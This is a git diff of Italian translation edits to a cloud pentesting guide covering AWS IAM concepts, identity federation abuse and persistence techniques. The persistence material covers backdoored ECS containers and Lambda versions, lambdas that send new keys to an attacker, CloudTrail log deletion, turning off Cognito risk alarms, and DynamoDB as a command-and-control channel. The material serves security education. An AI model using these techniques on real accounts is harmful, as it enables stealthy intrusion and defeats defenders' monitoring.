qui](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -#### Inline Policies +#### Politiche Inline -Questo tipo di policies è **assegnato direttamente** a un utente, gruppo o ruolo. Quindi, non appaiono nell'elenco delle Policies poiché nessun altro può usarle.\ -Le inline policies sono utili se si desidera **mantenere una relazione rigorosa uno a uno tra una policy e l'identità** a cui è applicata. Ad esempio, si vuole essere certi che i permessi in una policy non siano assegnati inavvertitamente a un'identità diversa da quella per cui sono destinati. Quando si utilizza un'inline policy, i permessi nella policy non possono essere attaccati inavvertitamente all'identità sbagliata. Inoltre, quando si utilizza la AWS Management Console per eliminare quell'identità, le policies incorporate nell'identità vengono eliminate anch'esse. Questo perché fanno parte dell'entità principale. +Questo tipo di politiche sono **assegnate direttamente** a un utente, gruppo o ruolo. Quindi, non appaiono nell'elenco delle Politiche poiché nessun altro può usarle.\ +Le politiche inline sono utili se si desidera **mantenere una relazione rigorosa uno a uno tra una politica e l'identità** a cui è applicata. Ad esempio, si vuole essere certi che i permessi in una politica non siano assegnati involontariamente a un'identità diversa da quella per cui sono destinati. Quando si utilizza una politica inline, i permessi nella politica non possono essere attaccati involontariamente all'identità sbagliata. Inoltre, quando si utilizza la Console di gestione AWS per eliminare quell'identità, le politiche incorporate nell'identità vengono eliminate anch'esse. Questo perché fanno parte dell'entità principale. -#### Resource Bucket Policies +#### Politiche dei Bucket di Risorse -Queste sono **policies** che possono essere definite in **resources**. **Non tutte le risorse di AWS le supportano**. +Queste sono **politiche** che possono essere definite in **risorse**. **Non tutte le risorse di AWS le supportano**. -Se un principale non ha un diniego esplicito su di esse, e una policy di risorsa concede loro accesso, allora sono autorizzati. +Se un principale non ha un diniego esplicito su di esse, e una politica di risorsa concede loro accesso, allora sono autorizzati. -### IAM Boundaries +### Limiti IAM -Le IAM boundaries possono essere utilizzate per **limitare i permessi a cui un utente o ruolo dovrebbe avere accesso**. In questo modo, anche se un diverso insieme di permessi viene concesso all'utente da una **diversa policy**, l'operazione **fallirà** se tenta di usarli. +I limiti IAM possono essere utilizzati per **limitare i permessi a cui un utente o ruolo dovrebbe avere accesso**. In questo modo, anche se un diverso insieme di permessi viene concesso all'utente da una **politica diversa**, l'operazione **fallirà** se tenta di usarli. -Una boundary è semplicemente una policy allegata a un utente che **indica il livello massimo di permessi che l'utente o ruolo può avere**. Quindi, **anche se l'utente ha accesso da Administrator**, se la boundary indica che può solo leggere i bucket S·, quello è il massimo che può fare. +Un limite è semplicemente una politica allegata a un utente che **indica il livello massimo di permessi che l'utente o il ruolo può avere**. Quindi, **anche se l'utente ha accesso da Amministratore**, se il limite indica che può solo leggere i bucket S·, questo è il massimo che può fare. -**Questo**, **SCPs** e **seguire il principio del minimo privilegio** sono i modi per controllare che gli utenti non abbiano più permessi di quelli di cui hanno bisogno. +**Questo**, **SCP** e **seguire il principio del minimo privilegio** sono i modi per controllare che gli utenti non abbiano più permessi di quelli di cui hanno bisogno. -### Session Policies +### Politiche di Sessione -Una session policy è una **policy impostata quando un ruolo viene assunto** in qualche modo. Questo sarà come un **IAM boundary per quella sessione**: Questo significa che la session policy non concede permessi ma **li restringe a quelli indicati nella policy** (essendo i permessi massimi quelli che il ruolo ha). +Una politica di sessione è una **politica impostata quando un ruolo viene assunto** in qualche modo. Questo sarà come un **limite IAM per quella sessione**: Questo significa che la politica di sessione non concede permessi ma **li restringe a quelli indicati nella politica** (essendo i permessi massimi quelli che il ruolo ha). -Questo è utile per **misure di sicurezza**: Quando un admin sta per assumere un ruolo molto privilegiato, potrebbe restringere il permesso solo a quelli indicati nella session policy nel caso in cui la sessione venga compromessa. +Questo è utile per **misure di sicurezza**: Quando un amministratore sta per assumere un ruolo molto privilegiato, potrebbe restringere il permesso solo a quelli indicati nella politica di sessione nel caso in cui la sessione venga compromessa. ```bash aws sts assume-role \ --role-arn \ @@ -226,18 +226,18 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Nota che per impostazione predefinita **AWS potrebbe aggiungere politiche di sessione alle sessioni** che verranno generate a causa di motivi terzi. Ad esempio, in [ruoli assunti da cognito non autenticati](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) per impostazione predefinita (utilizzando l'autenticazione avanzata), AWS genererà **credenziali di sessione con una politica di sessione** che limita i servizi a cui la sessione può accedere [**alla seguente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Nota che per impostazione predefinita **AWS potrebbe aggiungere politiche di sessione alle sessioni** che verranno generate per motivi terzi. Ad esempio, in [ruoli assunti da cognito non autenticati](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) per impostazione predefinita (utilizzando l'autenticazione avanzata), AWS genererà **credenziali di sessione con una politica di sessione** che limita i servizi a cui la sessione può accedere [**alla seguente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). Pertanto, se a un certo punto ti trovi di fronte all'errore "... perché nessuna politica di sessione consente il ...", e il ruolo ha accesso per eseguire l'azione, è perché **c'è una politica di sessione che lo impedisce**. ### Federazione dell'Identità -La federazione dell'identità **consente agli utenti di fornitori di identità che sono esterni** ad AWS di accedere alle risorse AWS in modo sicuro senza dover fornire le credenziali di un utente AWS da un account IAM valido.\ -Un esempio di fornitore di identità può essere il tuo **Microsoft Active Directory** aziendale (tramite **SAML**) o i servizi **OpenID** (come **Google**). L'accesso federato consentirà quindi agli utenti al suo interno di accedere ad AWS. +La federazione dell'identità **consente agli utenti di provider di identità esterni** ad AWS di accedere in modo sicuro alle risorse AWS senza dover fornire le credenziali di un utente AWS da un account IAM valido.\ +Un esempio di provider di identità può essere il tuo **Microsoft Active Directory** aziendale (tramite **SAML**) o i servizi **OpenID** (come **Google**). L'accesso federato consentirà quindi agli utenti al suo interno di accedere ad AWS. -Per configurare questa fiducia, viene generato un **Fornitore di Identità IAM (SAML o OAuth)** che **fiducia** nella **altra piattaforma**. Poi, almeno un **ruolo IAM è assegnato (fiducioso) al Fornitore di Identità**. Se un utente della piattaforma fidata accede ad AWS, accederà come il ruolo menzionato. +Per configurare questa fiducia, viene generato un **Provider di Identità IAM (SAML o OAuth)** che **fiducia** la **altra piattaforma**. Poi, almeno un **ruolo IAM è assegnato (fiducioso) al Provider di Identità**. Se un utente della piattaforma fidata accede ad AWS, accederà come il ruolo menzionato. -Tuttavia, di solito vorrai dare un **ruolo diverso a seconda del gruppo dell'utente** nella piattaforma di terze parti. Quindi, diversi **ruoli IAM possono fidarsi** del Fornitore di Identità di terze parti e la piattaforma di terze parti sarà quella che consentirà agli utenti di assumere un ruolo o l'altro. +Tuttavia, di solito vorrai dare un **ruolo diverso a seconda del gruppo dell'utente** nella piattaforma di terze parti. Quindi, diversi **ruoli IAM possono fidarsi** del Provider di Identità di terze parti e la piattaforma di terze parti sarà quella che consentirà agli utenti di assumere un ruolo o l'altro.
@@ -251,13 +251,13 @@ Per accedere agli utenti, ci sono 3 fonti di identità che possono essere utiliz - Directory del Centro Identità: Utenti AWS regolari - Active Directory: Supporta diversi connettori -- Fornitore di Identità Esterno: Tutti gli utenti e i gruppi provengono da un Fornitore di Identità esterno (IdP) +- Provider di Identità Esterno: Tutti gli utenti e i gruppi provengono da un Provider di Identità esterno (IdP)
Nel caso più semplice della directory del Centro Identità, il **Centro Identità avrà un elenco di utenti e gruppi** e sarà in grado di **assegnare politiche** a loro per **qualsiasi degli account** dell'organizzazione. -Per dare accesso a un utente/gruppo del Centro Identità a un account, verrà creato un **Fornitore di Identità SAML che fida il Centro Identità**, e verrà creato un **ruolo che fida il Fornitore di Identità con le politiche indicate** nell'account di destinazione. +Per dare accesso a un utente/gruppo del Centro Identità a un account, verrà creato un **Provider di Identità SAML che fida il Centro Identità**, e verrà creato un **ruolo che fida il Provider di Identità con le politiche indicate** nell'account di destinazione. #### AwsSSOInlinePolicy @@ -277,7 +277,7 @@ Non supportato: - Relazioni di Fiducia - Centro Amministrativo AD - Supporto completo per PS API -- Cestino AD +- Cestino di Riciclo AD - Account di Servizio Gestiti da Gruppo - Estensioni di Schema - Nessun accesso diretto a OS o Istanza @@ -297,19 +297,19 @@ AWS Identity and Access Management (IAM) fornisce **controllo degli accessi dett In [**questa pagina**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puoi trovare i **prefissi ID IAM** delle chiavi a seconda della loro natura: -| ABIA | [Token portatore del servizio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [Token bearer del servizio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ACCA | Credenziale specifica del contesto | | AGPA | Gruppo utente | | AIDA | Utente IAM | -| AIPA | Profilo istanza Amazon EC2 | +| AIPA | Profilo di istanza Amazon EC2 | | AKIA | Chiave di accesso | | ANPA | Politica gestita | | ANVA | Versione in una politica gestita | | APKA | Chiave pubblica | | AROA | Ruolo | | ASCA | Certificato | -| ASIA | [ID chiave di accesso temporanea (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilizza questo prefisso, ma è unico solo in combinazione con la chiave di accesso segreta e il token di sessione. | +| ASIA | [ID chiavi di accesso temporanee (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilizzano questo prefisso, ma sono uniche solo in combinazione con la chiave di accesso segreta e il token di sessione. | ### Permessi raccomandati per audit degli account @@ -328,7 +328,7 @@ I seguenti privilegi concedono vari accessi in lettura ai metadati: ### Autenticazione CLI -Affinché un utente regolare si autentichi ad AWS tramite CLI, è necessario avere **credenziali locali**. Per impostazione predefinita, puoi configurarle **manualmente** in `~/.aws/credentials` o **eseguendo** `aws configure`.\ +Affinché un utente normale si autentichi ad AWS tramite CLI, è necessario avere **credenziali locali**. Per impostazione predefinita, puoi configurarle **manualmente** in `~/.aws/credentials` o **eseguendo** `aws configure`.\ In quel file puoi avere più di un profilo, se **nessun profilo** è specificato utilizzando il **aws cli**, verrà utilizzato quello chiamato **`[default]`** in quel file.\ Esempio di file delle credenziali con più di 1 profilo: ``` diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 2284320ef..6fd0355bb 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -10,7 +10,7 @@ Per informazioni su SAML, controlla: https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -Per configurare una **Federazione di Identità tramite SAML**, è sufficiente fornire un **nome** e il **metadata XML** contenente tutta la configurazione SAML (**endpoint**, **certificato** con chiave pubblica) +Per configurare una **Federazione di Identità tramite SAML**, è sufficiente fornire un **nome** e il **metadata XML** contenente tutta la configurazione SAML (**endpoints**, **certificato** con chiave pubblica) ## OIDC - Abuso di Github Actions @@ -18,9 +18,9 @@ Per aggiungere un'azione github come fornitore di identità: 1. Per _Tipo di fornitore_, seleziona **OpenID Connect**. 2. Per _URL del fornitore_, inserisci `https://token.actions.githubusercontent.com` -3. Clicca su _Ottieni impronta digitale_ per ottenere l'impronta digitale del fornitore -4. Per _Pubblico_, inserisci `sts.amazonaws.com` -5. Crea un **nuovo ruolo** con le **permissive** di cui l'azione github ha bisogno e una **politica di fiducia** che fidi del fornitore come: +3. Clicca su _Ottieni thumbprint_ per ottenere il thumbprint del fornitore +4. Per _Audience_, inserisci `sts.amazonaws.com` +5. Crea un **nuovo ruolo** con le **permissive** necessarie all'azione github e una **politica di fiducia** che fidi del fornitore come: - ```json { "Version": "2012-10-17", @@ -44,7 +44,7 @@ Per aggiungere un'azione github come fornitore di identità: ] } ``` -6. Nota nella politica precedente come solo un **branch** del **repository** di un'**organizzazione** è stato autorizzato con un **trigger** specifico. +6. Nota nella politica precedente come solo un **branch** di un **repository** di un'**organizzazione** è stato autorizzato con un **trigger** specifico. 7. L'**ARN** del **ruolo** che l'azione github potrà **impersonare** sarà il "segreto" che l'azione github deve conoscere, quindi **conservalo** all'interno di un **segreto** in un **ambiente**. 8. Infine, utilizza un'azione github per configurare le credenziali AWS da utilizzare nel workflow: ```yaml @@ -78,7 +78,7 @@ role-session-name: OIDCSession - run: aws sts get-caller-identity shell: bash ``` -## OIDC - EKS Abuse +## OIDC - Abuso di EKS ```bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 29530ea96..11ff59c0f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -26,7 +26,7 @@ Oppure rimuovi semplicemente l'uso dell'autorizzatore. ### Chiavi API -Se vengono utilizzate chiavi API, potresti leakarle per mantenere la persistenza o persino crearne di nuove.\ +Se vengono utilizzate chiavi API, potresti leakare per mantenere la persistenza o persino crearne di nuove.\ Oppure rimuovi semplicemente l'uso delle chiavi API. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index d1170ece5..02591a2a5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -1,4 +1,4 @@ -# AWS - Cognito Persistence +# AWS - Persistenza Cognito {{#include ../../../banners/hacktricks-training.md}} @@ -29,7 +29,7 @@ Controlla come eseguire queste azioni in ### `cognito-idp:SetRiskConfiguration` -Un attaccante con questo privilegio potrebbe modificare la configurazione del rischio per poter effettuare il login come utente Cognito **senza attivare allarmi**. [**Controlla il cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) per verificare tutte le opzioni: +Un attaccante con questo privilegio potrebbe modificare la configurazione del rischio per poter effettuare il login come utente Cognito **senza che vengano attivati allarmi**. [**Controlla il cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) per verificare tutte le opzioni: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 568324531..65da86339 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -38,7 +38,7 @@ Per mantenere la persistenza, l'attaccante può creare o modificare elementi nel ### DynamoDB come canale C2 -Un attaccante può utilizzare una tabella DynamoDB come **canale di comando e controllo (C2)** creando elementi contenenti comandi e utilizzando istanze compromesse o funzioni Lambda per recuperare ed eseguire questi comandi. +Un attaccante può utilizzare una tabella DynamoDB come un **canale di comando e controllo (C2)** creando elementi contenenti comandi e utilizzando istanze compromesse o funzioni Lambda per recuperare ed eseguire questi comandi. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index 85b6f06a8..076ea54eb 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -12,7 +12,7 @@ Per ulteriori informazioni controlla: ### Persistenza del Tracciamento delle Connessioni del Gruppo di Sicurezza -Se un difensore scopre che un **istanza EC2 è stata compromessa**, probabilmente cercherà di **isolare** la **rete** della macchina. Potrebbe farlo con un esplicito **Deny NACL** (ma i NACL influenzano l'intera subnet), o **cambiando il gruppo di sicurezza** per non consentire **alcun tipo di traffico in entrata o in uscita**. +Se un difensore scopre che un **EC2 instance è stata compromessa**, probabilmente cercherà di **isolare** la **rete** della macchina. Potrebbe farlo con un esplicito **Deny NACL** (ma i NACL influenzano l'intera subnet), o **cambiando il gruppo di sicurezza** per non consentire **alcun tipo di traffico in entrata o in uscita**. Se l'attaccante aveva una **reverse shell originata dalla macchina**, anche se il SG è modificato per non consentire traffico in entrata o in uscita, la **connessione non verrà interrotta a causa di** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** @@ -21,20 +21,20 @@ Se l'attaccante aveva una **reverse shell originata dalla macchina**, anche se i Questo servizio consente di **programmare** la **creazione di AMI e snapshot** e persino di **condividerli con altri account**.\ Un attaccante potrebbe configurare la **generazione di AMI o snapshot** di tutte le immagini o di tutti i volumi **ogni settimana** e **condividerli con il suo account**. -### Istanze Programmate +### Istanza Programmata È possibile programmare le istanze per essere eseguite quotidianamente, settimanalmente o persino mensilmente. Un attaccante potrebbe eseguire una macchina con privilegi elevati o accesso interessante dove potrebbe accedere. -### Richiesta di Spot Fleet +### Richiesta Spot Fleet -Le istanze Spot sono **più economiche** delle istanze regolari. Un attaccante potrebbe lanciare una **piccola richiesta di spot fleet per 5 anni** (ad esempio), con **assegnazione automatica di IP** e un **user data** che invia all'attaccante **quando l'istanza spot inizia** e l'**indirizzo IP** e con un **ruolo IAM con privilegi elevati**. +Le istanze Spot sono **più economiche** delle istanze regolari. Un attaccante potrebbe lanciare una **piccola richiesta di spot fleet per 5 anni** (ad esempio), con **assegnazione automatica dell'IP** e un **user data** che invia all'attaccante **quando l'istanza spot inizia** e l'**indirizzo IP** e con un **ruolo IAM con privilegi elevati**. ### Istanze Backdoor Un attaccante potrebbe accedere alle istanze e backdoorarle: - Utilizzando un tradizionale **rootkit** ad esempio -- Aggiungendo una nuova **chiave SSH pubblica** (controlla [opzioni di privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md)) +- Aggiungendo una nuova **chiave SSH pubblica** (controlla [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) - Backdooring il **User Data** ### **Configurazione di Lancio Backdoor** diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index c84b402b6..95ac55672 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -16,7 +16,7 @@ Un attaccante potrebbe **caricare un'immagine Docker contenente codice maligno** ### Politica del Repository -Aggiungi una politica a un singolo repository concedendoti (o a tutti) accesso a un repository: +Aggiungi una politica a un singolo repository che ti concede (o a tutti) accesso a un repository: ```bash aws ecr set-repository-policy \ --repository-name cluster-autoscaler \ @@ -49,7 +49,7 @@ aws ecr set-repository-policy \
-Prima, è necessario concedere all'account esterno accesso al registro con una **politica del registro** come: +Innanzitutto, è necessario concedere all'account esterno accesso al registro con una **politica del registro** come: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json @@ -68,7 +68,7 @@ aws ecr put-registry-policy --policy-text file://my-policy.json "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` -Poi applica la configurazione di replicazione: +Quindi applica la configurazione di replicazione: ```bash aws ecr put-replication-configuration \ --replication-configuration file://replication-settings.json \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index bd6256d22..f27619d63 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -1,4 +1,4 @@ -# AWS - ECS Persistence +# AWS - Persistenza ECS {{#include ../../../banners/hacktricks-training.md}} @@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ } ]' ``` -### Backdoor Container in Existing ECS Task Definition +### Contenitore Backdoor nella Definizione di Task ECS Esistente > [!NOTE] > TODO: Test -Un attaccante può aggiungere un **container backdoor furtivo** in una definizione di task ECS esistente che viene eseguito insieme ai container legittimi. Il container backdoor può essere utilizzato per la persistenza e per eseguire attività malevole. +Un attaccante può aggiungere un **contenitore backdoor furtivo** in una definizione di task ECS esistente che viene eseguito insieme a contenitori legittimi. Il contenitore backdoor può essere utilizzato per la persistenza e per svolgere attività malevole. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index db2aa2841..6e7182738 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -1,4 +1,4 @@ -# AWS - Elastic Beanstalk Persistence +# AWS - Persistenza di Elastic Beanstalk {{#include ../../../banners/hacktricks-training.md}} @@ -22,12 +22,12 @@ Un attaccante potrebbe inserire una backdoor nel codice all'interno del reposito Invece di modificare il codice sulla versione attuale, l'attaccante potrebbe distribuire una nuova versione dell'applicazione con backdoor. -### Abuso dei Custom Resource Lifecycle Hooks +### Abuso degli Hook del Ciclo di Vita delle Risorse Personalizzate > [!NOTE] > TODO: Test -Elastic Beanstalk fornisce lifecycle hooks che ti permettono di eseguire script personalizzati durante il provisioning e la terminazione dell'istanza. Un attaccante potrebbe **configurare un lifecycle hook per eseguire periodicamente uno script che esfiltra dati o mantiene l'accesso all'account AWS**. +Elastic Beanstalk fornisce hook del ciclo di vita che consentono di eseguire script personalizzati durante la provisioning e la terminazione dell'istanza. Un attaccante potrebbe **configurare un hook del ciclo di vita per eseguire periodicamente uno script che esfiltra dati o mantiene l'accesso all'account AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index 458335a82..65146425a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -15,9 +15,9 @@ Per ulteriori informazioni accedi a: - Crea un utente - Aggiungi un utente controllato a un gruppo privilegiato - Crea chiavi di accesso (del nuovo utente o di tutti gli utenti) -- Concedi permessi extra a utenti/gruppi controllati (policy collegate o policy inline) +- Concedi permessi extra a utenti/gruppi controllati (politiche collegate o politiche inline) - Disabilita MFA / Aggiungi il tuo dispositivo MFA -- Crea una situazione di catena di ruoli (maggiore dettagli su questo di seguito nella persistenza STS) +- Crea una situazione di Role Chain Juggling (ulteriori informazioni su questo di seguito nella persistenza STS) ### Politiche di fiducia del ruolo backdoor @@ -36,11 +36,11 @@ Potresti inserire una backdoor in una politica di fiducia per poterla assumere p ] } ``` -### Backdoor Policy Version +### Versione della Politica di Backdoor -Dai permessi di Amministratore a una policy che non è nella sua ultima versione (l'ultima versione dovrebbe sembrare legittima), quindi assegna quella versione della policy a un utente/gruppo controllato. +Dai permessi di Amministratore a una politica che non è l'ultima versione (l'ultima versione dovrebbe apparire legittima), quindi assegna quella versione della politica a un utente/gruppo controllato. -### Backdoor / Create Identity Provider +### Backdoor / Crea Provider di Identità Se l'account sta già fidandosi di un provider di identità comune (come Github), le condizioni della fiducia potrebbero essere aumentate in modo che l'attaccante possa abusarne. diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 7719c9954..93cf32216 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -18,7 +18,7 @@ Un attaccante potrebbe utilizzare il permesso **`kms:PutKeyPolicy`** per **dare I grant sono un altro modo per dare a un principale alcuni permessi su una chiave specifica. È possibile concedere un grant che consente a un utente di creare grant. Inoltre, un utente può avere diversi grant (anche identici) sulla stessa chiave. -Pertanto, è possibile per un utente avere 10 grant con tutti i permessi. L'attaccante dovrebbe monitorare questo costantemente. E se a un certo punto 1 grant viene rimosso, dovrebbero essere generati altri 10. +Pertanto, è possibile che un utente abbia 10 grant con tutti i permessi. L'attaccante dovrebbe monitorare questo costantemente. E se a un certo punto 1 grant viene rimosso, altri 10 dovrebbero essere generati. (Stiamo usando 10 e non 2 per poter rilevare che un grant è stato rimosso mentre l'utente ha ancora alcuni grant) ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index d90ef131a..db99f45da 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -10,7 +10,7 @@ Per ulteriori informazioni controlla: ../../aws-services/aws-lambda-enum.md {{#endref}} -### Persistenza dei Layer Lambda +### Persistenza del Lambda Layer È possibile **introdurre/backdoor un layer per eseguire codice arbitrario** quando il lambda viene eseguito in modo furtivo: @@ -18,9 +18,9 @@ Per ulteriori informazioni controlla: aws-lambda-layers-persistence.md {{#endref}} -### Persistenza delle Estensioni Lambda +### Persistenza dell'Estensione Lambda -Abusando dei Layer Lambda è anche possibile abusare delle estensioni e persistere nel lambda ma anche rubare e modificare le richieste. +Abusando dei Lambda Layers è anche possibile abusare delle estensioni e persistere nel lambda ma anche rubare e modificare le richieste. {{#ref}} aws-abusing-lambda-extensions.md @@ -45,7 +45,7 @@ In questo modo un attaccante potrebbe creare una **versione 1 backdoored** e una 1. Copia il codice originale del Lambda 2. **Crea una nuova versione backdooring** il codice originale (o solo con codice malevolo). Pubblica e **deplora quella versione** su $LATEST 1. Chiama l'API gateway relativo al lambda per eseguire il codice -3. **Crea una nuova versione con il codice originale**, Pubblica e deploara quella **versione** su $LATEST. +3. **Crea una nuova versione con il codice originale**, Pubblica e deplo quella **versione** su $LATEST. 1. Questo nasconderà il codice backdoored in una versione precedente 4. Vai all'API Gateway e **crea un nuovo metodo POST** (o scegli un altro metodo) che eseguirà la versione backdoored del lambda: `arn:aws:lambda:us-east-1::function::1` 1. Nota il finale :1 dell'arn **che indica la versione della funzione** (la versione 1 sarà quella backdoored in questo scenario). @@ -54,11 +54,11 @@ In questo modo un attaccante potrebbe creare una **versione 1 backdoored** e una ### Attuatore Cron/Event -Il fatto che puoi far **eseguire funzioni lambda quando accade qualcosa o quando passa del tempo** rende lambda un modo piacevole e comune per ottenere persistenza ed evitare la rilevazione.\ +Il fatto che puoi far **eseguire funzioni lambda quando accade qualcosa o quando passa del tempo** rende lambda un modo piacevole e comune per ottenere persistenza ed evitare il rilevamento.\ Ecco alcune idee per rendere la tua **presenza in AWS più furtiva creando lambdas**. - Ogni volta che viene creato un nuovo utente, lambda genera una nuova chiave utente e la invia all'attaccante. -- Ogni volta che viene creata una nuova ruolo, lambda concede permessi di assunzione ruolo agli utenti compromessi. +- Ogni volta che viene creata una nuova funzione, lambda concede permessi di assunzione del ruolo agli utenti compromessi. - Ogni volta che vengono generati nuovi log di cloudtrail, cancellali/modificali {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 66bbc005c..137e9259b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -6,7 +6,7 @@ Le estensioni Lambda migliorano le funzioni integrandosi con vari **strumenti di monitoraggio, osservabilità, sicurezza e governance**. Queste estensioni, aggiunte tramite [.zip archivi utilizzando i layer Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluse nelle [distribuzioni di immagini container](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operano in due modalità: **interna** ed **esterna**. -- **Le estensioni interne** si fondono con il processo di runtime, manipolando il suo avvio utilizzando **variabili d'ambiente specifiche per il linguaggio** e **script wrapper**. Questa personalizzazione si applica a una gamma di runtime, inclusi **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**. +- **Le estensioni interne** si fondono con il processo di runtime, manipolando il suo avvio utilizzando **variabili ambientali specifiche del linguaggio** e **script wrapper**. Questa personalizzazione si applica a una gamma di runtime, inclusi **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**. - **Le estensioni esterne** vengono eseguite come processi separati, mantenendo l'allineamento operativo con il ciclo di vita della funzione Lambda. Sono compatibili con vari runtime come **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **runtime personalizzati**. Per ulteriori informazioni su [**come funzionano le estensioni lambda controlla la documentazione**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). @@ -15,20 +15,20 @@ Per ulteriori informazioni su [**come funzionano le estensioni lambda controlla Questo è un riassunto della tecnica proposta in questo post: 